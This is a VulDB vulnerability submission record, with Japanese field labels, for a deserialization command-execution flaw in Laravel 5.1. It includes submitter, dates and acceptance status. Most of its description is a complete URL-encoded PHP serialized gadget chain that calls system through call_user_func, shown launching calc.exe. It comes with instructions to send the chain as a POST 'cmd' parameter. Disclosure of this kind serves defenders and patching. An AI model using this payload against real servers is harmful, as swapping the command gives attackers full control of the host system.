| タイトル | Laravel exists command execution |
|---|
| 説明 | laravel 5.1 exists deserialization command execution，
The laravel version number is 5.1.
This vulnerability can be used to obtain host system permissions.
The details of the vulnerability are at the following link, which is different from the chain circulating on the Internet
exp:
O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D
post pass parameter cmd parameter
cmd=O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D |
|---|
| ソース | ⚠️ https://github.com/beicheng-maker/vulns/issues/2 |
|---|
| ユーザー | F10wers13eiCheng (UID 30725) |
|---|
| 送信 | 2022年08月17日 05:22 (4 年 ago) |
|---|
| モデレーション | 2022年08月17日 06:46 (1 hour later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 206501 [laravel 5.1 特権昇格] |
|---|
| ポイント | 20 |
|---|